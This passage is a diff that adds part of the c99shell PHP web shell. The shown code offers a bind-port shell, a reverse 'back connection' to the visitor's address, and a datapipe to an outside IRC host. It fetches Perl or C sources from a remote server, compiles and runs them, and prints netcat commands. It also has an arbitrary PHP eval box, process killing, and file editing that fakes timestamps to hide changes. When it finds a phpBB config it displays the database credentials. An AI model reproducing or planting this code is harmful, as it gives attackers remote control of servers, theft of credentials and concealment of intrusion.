$i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"> + <script> + function ls_setcheckboxall(status) + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = status; + id++; + } + } + function ls_reverse_all() + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; + id++; + } + } + </script> + <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> + <b>^"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; + echo "</form>"; + } +} +if ($act == "tools") +{ + $bndportsrcs = array( + "c99sh_bindport.pl"=>array("Using PERL","perl %path %port"), + "c99sh_bindport.c"=>array("Using C","%path %port %pass") + ); + $bcsrcs = array( + "c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"), + "c99sh_backconn.c"=>array("Using C","%path %host %port") + ); + $dpsrcs = array( + "c99sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), + "c99sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") + ); + if (!is_array($bind)) {$bind = array();} + if (!is_array($bc)) {$bc = array();} + if (!is_array($datapipe)) {$datapipe = array();} + + if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} + if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} + + if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} + if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} + + if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} + if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} + if (!empty($bindsubmit)) + { + echo "<b>Result of binding port:</b><br>"; + $v = $bndportsrcs[$bind["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $w = explode(".",$bind["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = c99getsource($bind["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%port",$bind["port"],$v[1]); + $v[1] = str_replace("%pass",$bind["pass"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} + else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";} + } + echo "<br>"; + } + } + if (!empty($bcsubmit)) + { + echo "<b>Result of back connection:</b><br>"; + $v = $bcsrcs[$bc["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + else + { + $w = explode(".",$bc["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = c99getsource($bc["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%host",$bc["host"],$v[1]); + $v[1] = str_replace("%port",$bc["port"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>"; + } + } + } + if (!empty($dpsubmit)) + { + echo "<b>Result of datapipe-running:</b><br>"; + $v = $dpsrcs[$datapipe["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $srcpath = $tmpdir.$datapipe["src"]; + $w = explode(".",$datapipe["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = c99getsource($datapipe["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); + $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); + $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} + else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";} + } + echo "<br>"; + } + } + ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php + foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} + ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form> +<b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php +foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form> +Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> +<b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php +foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php +} +if ($act == "processes") +{ + echo "<b>Processes:</b><br>"; + if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} + else {$handler = "tasklist";} + $ret = myshellexec($handler); + if (!$ret) {echo "Can't execute \"".$handler."\"!";} + else + { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\">[sort_desc]</a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\">[sort_asc]</a>";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) +{ + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg("",$ret)) {$ret = str_replace("","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode("",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\">[sort_desc]</a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\">[sort_asc]</a>";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode("",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo "</tr>"; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $i=>$k) + { + echo "<tr>"; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("[hex]","info"), + array("[html]","html"), + array("[txt]","txt"), + array("[Code]","code"), + array("[Session]","phpsess"), + array("[exe]","exe"), + array("[SDB]","sdb"), + array("[gif]","img"), + array("[ini]","ini"), + array("[download]","download"), + array("[rtf]","notepad"), + array("[change]","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;[$ext]&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {c99shexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {c99shexit();} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +} +else +{ + @ob_clean(); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; + } + exit; +} +if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\">icq</a>.</b>";} +?> +</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); 